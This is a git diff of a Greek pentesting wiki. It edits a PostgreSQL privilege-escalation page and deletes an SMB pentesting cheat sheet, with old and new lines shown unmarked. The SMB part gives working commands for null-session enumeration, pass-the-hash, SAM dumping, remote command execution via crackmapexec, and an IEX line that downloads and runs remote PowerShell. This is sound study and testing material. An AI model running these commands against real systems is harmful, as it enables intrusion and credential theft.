[**Σε αυτή την αναφορά**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), οι pentesters κατάφεραν να αποκτήσουν δικαιώματα μέσα σε μια postgres instance που παρέχεται από την IBM, επειδή **βρήκαν αυτή τη συνάρτηση με την ένδειξη SECURITY DEFINER**:
@ -666,7 +665,7 @@ PERFORM dblink_disconnect();
</code></pre>
Όπως [**εξηγείται στα έγγραφα**](https://www.postgresql.org/docs/current/sql-createfunction.html), μια συνάρτηση με **SECURITY DEFINER εκτελείται** με τα δικαιώματα του **χρήστη που την κατέχει**. Επομένως, αν η συνάρτηση είναι **ευάλωτη σε SQL Injection** ή εκτελεί κάποιες **προνομιακές ενέργειες με παραμέτρους που ελέγχονται από τον επιτιθέμενο**, θα μπορούσε να καταχραστεί για **να κλιμακώσει τα δικαιώματα μέσα σε postgres**.
Όπως [**εξηγείται στα έγγραφα**](https://www.postgresql.org/docs/current/sql-createfunction.html), μια συνάρτηση με **SECURITY DEFINER εκτελείται** με τα δικαιώματα του **χρήστη που την κατέχει**. Επομένως, αν η συνάρτηση είναι **ευάλωτη σε SQL Injection** ή εκτελεί κάποιες **προνομιακές ενέργειες με παραμέτρους που ελέγχονται από τον επιτιθέμενο**, μπορεί να καταχραστεί για **να κλιμακώσει τα δικαιώματα μέσα σε postgres**.
Στη γραμμή 4 του προηγούμενου κώδικα μπορείτε να δείτε ότι η συνάρτηση έχει την ένδειξη **SECURITY DEFINER**.
```sql
@ -678,9 +677,9 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
<figure><img src="../images/image (649).png" alt=""><figcaption></figcaption></figure>
### Παράκαμψη Burteforce με PL/pgSQL
### Pass Burteforce με PL/pgSQL
**PL/pgSQL** είναι μια **πλήρως χαρακτηριστική γλώσσα προγραμματισμού** που προσφέρει μεγαλύτερο διαδικαστικό έλεγχο σε σύγκριση με το SQL. Επιτρέπει τη χρήση **βρόχων** και άλλων **δομών ελέγχου** για την ενίσχυση της λογικής του προγράμματος. Επιπλέον, οι **δηλώσεις SQL** και οι **triggers** έχουν τη δυνατότητα να καλούν συναρτήσεις που δημιουργούνται με τη **γλώσσα PL/pgSQL**. Αυτή η ενσωμάτωση επιτρέπει μια πιο ολοκληρωμένη και ευέλικτη προσέγγιση στον προγραμματισμό και την αυτοματοποίηση βάσεων δεδομένων.\
**PL/pgSQL** είναι μια **πλήρως χαρακτηριστική γλώσσα προγραμματισμού** που προσφέρει μεγαλύτερο διαδικαστικό έλεγχο σε σύγκριση με το SQL. Επιτρέπει τη χρήση **βρόχων** και άλλων **δομών ελέγχου** για την ενίσχυση της λογικής του προγράμματος. Επιπλέον, οι **δηλώσεις SQL** και οι **triggers** έχουν τη δυνατότητα να καλούν συναρτήσεις που έχουν δημιουργηθεί χρησιμοποιώντας τη **γλώσσα PL/pgSQL**. Αυτή η ενσωμάτωση επιτρέπει μια πιο ολοκληρωμένη και ευέλικτη προσέγγιση στον προγραμματισμό και την αυτοματοποίηση βάσεων δεδομένων.\
**Μπορείτε να καταχραστείτε αυτή τη γλώσσα για να ζητήσετε από το PostgreSQL να κάνει brute-force τα διαπιστευτήρια χρηστών.**
{{#ref}}
@ -689,8 +688,8 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
### Privesc με την Επικαλύψη Εσωτερικών Πινάκων PostgreSQL
> [!NOTE]
> Ο παρακάτω privesc φορέας είναι ιδιαίτερα χρήσιμος σε περιορισμένα SQLi συμφραζόμενα, καθώς όλα τα βήματα μπορούν να εκτελούνται μέσω εσωτερικών δηλώσεων SELECT
> [!TIP]
> Ο παρακάτω privesc vector είναι ιδιαίτερα χρήσιμος σε περιορισμένα SQLi συμφραζόμενα, καθώς όλα τα βήματα μπορούν να εκτελούνται μέσω εσωτερικών δηλώσεων SELECT
Εάν μπορείτε να **διαβάσετε και να γράψετε αρχεία του διακομιστή PostgreSQL**, μπορείτε να **γίνετε superuser** επικαλύπτοντας το filenode του PostgreSQL στον δίσκο, που σχετίζεται με τον εσωτερικό πίνακα `pg_authid`.
@ -704,7 +703,7 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
4. Αποκτήστε τον τύπο δεδομένων, που σχετίζεται με τον πίνακα `pg_authid`
5. Χρησιμοποιήστε τον [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) για να [επεξεργαστείτε το filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); ρυθμίστε όλες τις boolean σημαίες `rol*` σε 1 για πλήρη δικαιώματα.
6. Επαναφορτώστε το επεξεργασμένο filenode μέσω των συναρτήσεων `lo_*`, και επικαλύψτε το αρχικό αρχείο στον δίσκο
7. _(Προαιρετικά)_ Καθαρίστε την κρυφή μνήμη του πίνακα από τη μνήμη εκτελώντας ένα δαπανηρό SQL query
7. _(Προαιρετικά)_ Καθαρίστε την κρυφή μνήμη του πίνακα που βρίσκεται στη μνήμη εκτελώντας ένα δαπανηρό SQL query
8. Τώρα θα πρέπει να έχετε τα προνόμια ενός πλήρους superadmin.
## **POST**
@ -732,7 +731,7 @@ sudo service postgresql restart
[pgadmin](https://www.pgadmin.org) είναι μια πλατφόρμα διαχείρισης και ανάπτυξης για το PostgreSQL.\
Μπορείτε να βρείτε **κωδικούς πρόσβασης** μέσα στο _**pgadmin4.db**_ αρχείο\
Μπορείτε να τους αποκρυπτογραφήσετε χρησιμοποιώντας τη _**decrypt**_ συνάρτηση μέσα στο σενάριο: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
Μπορείτε να τους αποκρυπτογραφήσετε χρησιμοποιώντας τη λειτουργία _**decrypt**_ μέσα στο σενάριο: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
```bash
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
@ -741,8 +740,8 @@ string pgadmin4.db
```
### pg_hba
Η πιστοποίηση πελάτη στο PostgreSQL διαχειρίζεται μέσω ενός αρχείου ρυθμίσεων που ονομάζεται **pg_hba.conf**. Αυτό το αρχείο περιέχει μια σειρά από εγγραφές, κάθε μία από τις οποίες καθορίζει έναν τύπο σύνδεσης, εύρος διευθύνσεων IP πελάτη (αν εφαρμόζεται), όνομα βάσης δεδομένων, όνομα χρήστη και τη μέθοδο πιστοποίησης που θα χρησιμοποιηθεί για την αντιστοίχιση των συνδέσεων. Η πρώτη εγγραφή που ταιριάζει με τον τύπο σύνδεσης, τη διεύθυνση πελάτη, τη ζητούμενη βάση δεδομένων και το όνομα χρήστη χρησιμοποιείται για την πιστοποίηση. Δεν υπάρχει εναλλακτική ή αντίγραφο αν η πιστοποίηση αποτύχει. Αν καμία εγγραφή δεν ταιριάζει, η πρόσβαση απορρίπτεται.
Η πιστοποίηση πελάτη στο PostgreSQL διαχειρίζεται μέσω ενός αρχείου ρυθμίσεων που ονομάζεται **pg_hba.conf**. Αυτό το αρχείο περιέχει μια σειρά από εγγραφές, κάθε μία από τις οποίες καθορίζει έναν τύπο σύνδεσης, εύρος διευθύνσεων IP πελάτη (αν ισχύει), όνομα βάσης δεδομένων, όνομα χρήστη και τη μέθοδο πιστοποίησης που θα χρησιμοποιηθεί για την αντιστοίχιση των συνδέσεων. Η πρώτη εγγραφή που ταιριάζει με τον τύπο σύνδεσης, τη διεύθυνση πελάτη, τη ζητούμενη βάση δεδομένων και το όνομα χρήστη χρησιμοποιείται για την πιστοποίηση. Δεν υπάρχει εναλλακτική ή αντίγραφο αν η πιστοποίηση αποτύχει. Αν καμία εγγραφή δεν ταιριάζει, η πρόσβαση απορρίπτεται.
Οι διαθέσιμες μεθόδοι πιστοποίησης με βάση τον κωδικό πρόσβασης στο pg_hba.conf είναι **md5**, **crypt** και **password**. Αυτές οι μέθοδοι διαφέρουν στον τρόπο μετάδοσης του κωδικού πρόσβασης: MD5-hashed, crypt-encrypted ή clear-text. Είναι σημαντικό να σημειωθεί ότι η μέθοδος crypt δεν μπορεί να χρησιμοποιηθεί με κωδικούς πρόσβασης που έχουν κρυπτογραφηθεί στο pg_authid.
Οι διαθέσιμες μέθοδοι πιστοποίησης με βάση τον κωδικό πρόσβασης στο pg_hba.conf είναι **md5**, **crypt** και **password**. Αυτές οι μέθοδοι διαφέρουν στον τρόπο μετάδοσης του κωδικού πρόσβασης: MD5-hashed, crypt-encrypted ή clear-text. Είναι σημαντικό να σημειωθεί ότι η μέθοδος crypt δεν μπορεί να χρησιμοποιηθεί με κωδικούς πρόσβασης που έχουν κρυπτογραφηθεί στο pg_authid.
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,532 +0,0 @@
# 139,445 - Pentesting SMB
{{#include ../banners/hacktricks-training.md}}
## **Port 139**
Το _**Network Basic Input Output System**_** (NetBIOS)** είναι ένα πρωτόκολλο λογισμικού σχεδιασμένο για να επιτρέπει σε εφαρμογές, υπολογιστές και επιτραπέζιους υπολογιστές εντός ενός τοπικού δικτύου (LAN) να αλληλεπιδρούν με το υλικό του δικτύου και **να διευκολύνουν τη μετάδοση δεδομένων μέσω του δικτύου**. Η αναγνώριση και η τοποθεσία των εφαρμογών λογισμικού που λειτουργούν σε ένα δίκτυο NetBIOS επιτυγχάνονται μέσω των ονομάτων NetBIOS τους, τα οποία μπορούν να είναι έως 16 χαρακτήρες σε μήκος και συχνά διαφέρουν από το όνομα του υπολογιστή. Μια συνεδρία NetBIOS μεταξύ δύο εφαρμογών ξεκινά όταν μία εφαρμογή (που λειτουργεί ως πελάτης) εκδίδει μια εντολή για να "καλέσει" μια άλλη εφαρμογή (που λειτουργεί ως διακομιστής) χρησιμοποιώντας **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
Τεχνικά, το Port 139 αναφέρεται ως NBT over IP, ενώ το Port 445 αναγνωρίζεται ως SMB over IP. Το ακρωνύμιο **SMB** σημαίνει **Server Message Blocks**, το οποίο είναι επίσης σύγχρονα γνωστό ως το **Common Internet File System (CIFS)**. Ως πρωτόκολλο δικτύου επιπέδου εφαρμογής, το SMB/CIFS χρησιμοποιείται κυρίως για να επιτρέπει κοινή πρόσβαση σε αρχεία, εκτυπωτές, σειριακές θύρες και διευκολύνει διάφορες μορφές επικοινωνίας μεταξύ κόμβων σε ένα δίκτυο.
Για παράδειγμα, στο πλαίσιο των Windows, τονίζεται ότι το SMB μπορεί να λειτουργεί απευθείας πάνω από TCP/IP, εξαλείφοντας την ανάγκη για NetBIOS πάνω από TCP/IP, μέσω της χρήσης της θύρας 445. Αντίθετα, σε διάφορα συστήματα, παρατηρείται η χρήση της θύρας 139, υποδεικνύοντας ότι το SMB εκτελείται σε συνδυασμό με NetBIOS πάνω από TCP/IP.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
Το **Server Message Block (SMB)** πρωτόκολλο, που λειτουργεί σε μοντέλο **client-server**, έχει σχεδιαστεί για να ρυθμίζει την **πρόσβαση σε αρχεία**, καταλόγους και άλλους πόρους δικτύου όπως εκτυπωτές και δρομολογητές. Χρησιμοποιείται κυρίως μέσα στη σειρά λειτουργικών συστημάτων **Windows**, το SMB διασφαλίζει την οπισθοδρομική συμβατότητα, επιτρέποντας στις συσκευές με νεότερες εκδόσεις του λειτουργικού συστήματος της Microsoft να αλληλεπιδρούν ομαλά με αυτές που εκτελούν παλαιότερες εκδόσεις. Επιπλέον, το έργο **Samba** προσφέρει μια δωρεάν λύση λογισμικού, επιτρέποντας την υλοποίηση του SMB σε συστήματα **Linux** και Unix, διευκολύνοντας έτσι την επικοινωνία μεταξύ πλατφορμών μέσω του SMB.
Οι κοινές χρήσεις, που αντιπροσωπεύουν **τυχαία μέρη του τοπικού συστήματος αρχείων**, μπορούν να παρέχονται από έναν διακομιστή SMB, καθιστώντας τη ιεραρχία ορατή σε έναν πελάτη εν μέρει **ανεξάρτητη** από τη πραγματική δομή του διακομιστή. Οι **Access Control Lists (ACLs)**, που καθορίζουν τα **δικαιώματα πρόσβασης**, επιτρέπουν **λεπτομερή έλεγχο** πάνω στις άδειες χρηστών, συμπεριλαμβανομένων χαρακτηριστικών όπως **`execute`**, **`read`** και **`full access`**. Αυτές οι άδειες μπορούν να ανατεθούν σε μεμονωμένους χρήστες ή ομάδες, με βάση τις κοινές χρήσεις, και είναι διακριτές από τις τοπικές άδειες που έχουν οριστεί στον διακομιστή.
### IPC$ Share
Η πρόσβαση στην κοινή χρήση IPC$ μπορεί να αποκτηθεί μέσω μιας ανώνυμης κενής συνεδρίας, επιτρέποντας την αλληλεπίδραση με υπηρεσίες που εκτίθενται μέσω ονομασμένων σωλήνων. Το εργαλείο `enum4linux` είναι χρήσιμο για αυτό το σκοπό. Χρησιμοποιούμενο σωστά, επιτρέπει την απόκτηση:
- Πληροφοριών σχετικά με το λειτουργικό σύστημα
- Λεπτομερειών σχετικά με το γονικό τομέα
- Συγκέντρωσης τοπικών χρηστών και ομάδων
- Πληροφοριών σχετικά με τις διαθέσιμες κοινές χρήσεις SMB
- Της αποτελεσματικής πολιτικής ασφάλειας του συστήματος
Αυτή η λειτουργικότητα είναι κρίσιμη για τους διαχειριστές δικτύου και τους επαγγελματίες ασφάλειας για να αξιολογήσουν τη θέση ασφάλειας των υπηρεσιών SMB (Server Message Block) σε ένα δίκτυο. Το `enum4linux` παρέχει μια ολοκληρωμένη εικόνα του περιβάλλοντος SMB του στοχευόμενου συστήματος, που είναι απαραίτητη για την αναγνώριση πιθανών ευπαθειών και τη διασφάλιση ότι οι υπηρεσίες SMB είναι σωστά ασφαλισμένες.
```bash
enum4linux -a target_ip
```
Η παραπάνω εντολή είναι ένα παράδειγμα του πώς μπορεί να χρησιμοποιηθεί το `enum4linux` για να εκτελέσει πλήρη καταμέτρηση σε έναν στόχο που καθορίζεται από το `target_ip`.
## Τι είναι το NTLM
Αν δεν ξέρετε τι είναι το NTLM ή θέλετε να μάθετε πώς λειτουργεί και πώς να το εκμεταλλευτείτε, θα βρείτε πολύ ενδιαφέρουσα αυτή τη σελίδα για το **NTLM** όπου εξηγείται **πώς λειτουργεί αυτό το πρωτόκολλο και πώς μπορείτε να το εκμεταλλευτείτε:**
{{#ref}}
../windows-hardening/ntlm/
{{#endref}}
## **Καταμέτρηση Διακομιστή**
### **Σάρωση** ενός δικτύου αναζητώντας hosts:
```bash
nbtscan -r 192.168.0.1/24
```
### SMB server version
Για να αναζητήσετε πιθανά exploits για την έκδοση SMB, είναι σημαντικό να γνωρίζετε ποια έκδοση χρησιμοποιείται. Αν αυτή η πληροφορία δεν εμφανίζεται σε άλλα εργαλεία που χρησιμοποιούνται, μπορείτε να:
- Χρησιμοποιήσετε το **MSF** auxiliary module _**auxiliary/scanner/smb/smb_version**_
- Ή αυτό το script:
```bash
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
### **Αναζήτηση εκμετάλλευσης**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### **Πιθανές** Διαπιστώσεις
| **Όνομα χρήστη(ες)** | **Κοινές κωδικοί πρόσβασης** |
| --------------------- | ------------------------------------------ |
| _(κενό)_ | _(κενό)_ |
| guest | _(κενό)_ |
| Administrator, admin | _(κενό)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
### Brute Force
- [**SMB Brute Force**](../generic-methodologies-and-resources/brute-force.md#smb)
### Πληροφορίες Περιβάλλοντος SMB
### Απόκτηση Πληροφοριών
```bash
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>
#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Καταμέτρηση Χρηστών, Ομάδων & Συνδεδεμένων Χρηστών
Αυτές οι πληροφορίες θα πρέπει ήδη να έχουν συλλεχθεί από το enum4linux και το enum4linux-ng.
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
```
### Καταμέτρηση τοπικών χρηστών
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
lookupsid.py -no-pass hostname.local
```
Μονογραμμή
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
### Metasploit - Καταμέτρηση τοπικών χρηστών
```bash
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
```
### **Αναγνώριση LSARPC και SAMR rpcclient**
{{#ref}}
pentesting-smb/rpcclient-enumeration.md
{{#endref}}
### Σύνδεση GUI από linux
#### Στο τερματικό:
`xdg-open smb://cascade.htb/`
#### Στο παράθυρο του εξερευνητή αρχείων (nautilus, thunar, κ.λπ.)
`smb://friendzone.htb/general/`
## Αναγνώριση Κοινών Φακέλων
### Λίστα κοινών φακέλων
Είναι πάντα συνιστώμενο να ελέγχετε αν μπορείτε να έχετε πρόσβαση σε οτιδήποτε, αν δεν έχετε διαπιστευτήρια δοκιμάστε να χρησιμοποιήσετε **null** **credentials/guest user**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
### **Σύνδεση/Λίστα ενός κοινόχρηστου φακέλου**
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Χειροκίνητη καταμέτρηση κοινών πόρων Windows και σύνδεση σε αυτούς**
Είναι πιθανό να είστε περιορισμένοι στο να εμφανίσετε οποιουσδήποτε πόρους της μηχανής-οικοδεσπότη και όταν προσπαθείτε να τους καταγράψετε, φαίνεται ότι δεν υπάρχουν πόροι για σύνδεση. Έτσι, μπορεί να αξίζει να προσπαθήσετε να συνδεθείτε χειροκίνητα σε έναν πόρο. Για να καταμετρήσετε τους πόρους χειροκίνητα, μπορεί να θέλετε να αναζητήσετε απαντήσεις όπως NT_STATUS_ACCESS_DENIED και NT_STATUS_BAD_NETWORK_NAME, όταν χρησιμοποιείτε μια έγκυρη συνεδρία (π.χ. null session ή έγκυρα διαπιστευτήρια). Αυτά μπορεί να υποδεικνύουν αν ο πόρος υπάρχει και δεν έχετε πρόσβαση σε αυτόν ή αν ο πόρος δεν υπάρχει καθόλου.
Κοινά ονόματα πόρων για στόχους Windows είναι
- C$
- D$
- ADMIN$
- IPC$
- PRINT$
- FAX$
- SYSVOL
- NETLOGON
(Κοινά ονόματα πόρων από _**Network Security Assessment 3rd edition**_)
Μπορείτε να προσπαθήσετε να συνδεθείτε σε αυτούς χρησιμοποιώντας την παρακάτω εντολή
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
ή για αυτό το σενάριο (χρησιμοποιώντας μια κενή συνεδρία)
```bash
#/bin/bash
ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
```
παραδείγματα
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Καταμέτρηση μεριδίων από Windows / χωρίς εργαλεία τρίτων**
PowerShell
```bash
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
```
Κονσόλα CMD
```shell
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
```
MMC Snap-in (γραφικό)
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (γραφικό), εισάγετε `\\<ip>\` για να δείτε τις διαθέσιμες μη κρυφές κοινές χρήσεις.
### Σύνδεση σε έναν κοινόχρηστο φάκελο
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Λήψη αρχείων**
Διαβάστε τις προηγούμενες ενότητες για να μάθετε πώς να συνδεθείτε με διαπιστευτήρια/Pass-the-Hash.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
```
```bash
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
```
Εντολές:
- mask: καθορίζει τη μάσκα που χρησιμοποιείται για να φιλτράρει τα αρχεία μέσα στον κατάλογο (π.χ. "" για όλα τα αρχεία)
- recurse: ενεργοποιεί την αναδρομή (προεπιλογή: απενεργοποιημένη)
- prompt: απενεργοποιεί την προτροπή για ονόματα αρχείων (προεπιλογή: ενεργοποιημένη)
- mget: αντιγράφει όλα τα αρχεία που ταιριάζουν με τη μάσκα από τον διακομιστή στη μηχανή του πελάτη
(_Πληροφορίες από τη σελίδα man του smbclient_)
### Αναζήτηση Κοινών Φακέλων Τομέα
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) αράχνη.
- `-M spider_plus [--share <share_name>]`
- `--pattern txt`
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Ιδιαίτερα ενδιαφέρον από τις κοινές διανομές είναι τα αρχεία που ονομάζονται **`Registry.xml`** καθώς **μπορεί να περιέχουν κωδικούς πρόσβασης** για χρήστες που έχουν ρυθμιστεί με **autologon** μέσω Πολιτικής Ομάδας. Ή τα αρχεία **`web.config`** καθώς περιέχουν διαπιστευτήρια.
- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares)
- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")`
- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test`
> [!NOTE]
> Η **κοινή χρήση SYSVOL** είναι **αναγνώσιμη** από όλους τους αυθεντικοποιημένους χρήστες στο τομέα. Εκεί μπορείτε να **βρείτε** πολλές διαφορετικές παρτίδες, VBScript και PowerShell **σενάρια**.\
> Πρέπει να **ελέγξετε** τα **σενάρια** μέσα σε αυτό καθώς μπορεί να **βρείτε** ευαίσθητες πληροφορίες όπως **κωδικούς πρόσβασης**.
## Ανάγνωση Μητρώου
Μπορεί να είστε σε θέση να **διαβάσετε το μητρώο** χρησιμοποιώντας κάποια ανακαλυφθέντα διαπιστευτήρια. Το Impacket **`reg.py`** σας επιτρέπει να δοκιμάσετε:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
## Post Exploitation
Η **προεπιλεγμένη ρύθμιση του** διακομιστή **Samba** βρίσκεται συνήθως στο `/etc/samba/smb.conf` και μπορεί να έχει κάποιες **επικίνδυνες ρυθμίσεις**:
| **Ρύθμιση** | **Περιγραφή** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Επιτρέπεται η καταγραφή των διαθέσιμων κοινών πόρων στην τρέχουσα κοινή χρήση; |
| `read only = no` | Απαγορεύεται η δημιουργία και η τροποποίηση αρχείων; |
| `writable = yes` | Επιτρέπεται στους χρήστες να δημιουργούν και να τροποποιούν αρχεία; |
| `guest ok = yes` | Επιτρέπεται η σύνδεση στην υπηρεσία χωρίς τη χρήση κωδικού πρόσβασης; |
| `enable privileges = yes` | Τηρούνται τα δικαιώματα που έχουν ανατεθεί σε συγκεκριμένο SID; |
| `create mask = 0777` | Ποια δικαιώματα πρέπει να ανατεθούν στα νεοδημιουργηθέντα αρχεία; |
| `directory mask = 0777` | Ποια δικαιώματα πρέπει να ανατεθούν στους νεοδημιουργηθέντες καταλόγους; |
| `logon script = script.sh` | Ποιο σενάριο πρέπει να εκτελείται κατά την είσοδο του χρήστη; |
| `magic script = script.sh` | Ποιο σενάριο πρέπει να εκτελείται όταν κλείνει το σενάριο; |
| `magic output = script.out` | Πού πρέπει να αποθηκεύεται η έξοδος του μαγικού σεναρίου; |
Η εντολή `smbstatus` παρέχει πληροφορίες σχετικά με τον **διακομιστή** και για **ποιοι είναι συνδεδεμένοι**.
## Authenticate using Kerberos
Μπορείτε να **αυθεντικοποιηθείτε** στο **kerberos** χρησιμοποιώντας τα εργαλεία **smbclient** και **rpcclient**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
## **Εκτέλεση Εντολών**
### **crackmapexec**
crackmapexec μπορεί να εκτελέσει εντολές **καταχρώντας** οποιοδήποτε από **mmcexec, smbexec, atexec, wmiexec** με το **wmiexec** να είναι η **προεπιλεγμένη** μέθοδος. Μπορείτε να υποδείξετε ποια επιλογή προτιμάτε να χρησιμοποιήσετε με την παράμετρο `--exec-method`:
```bash
apt-get install crackmapexec
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
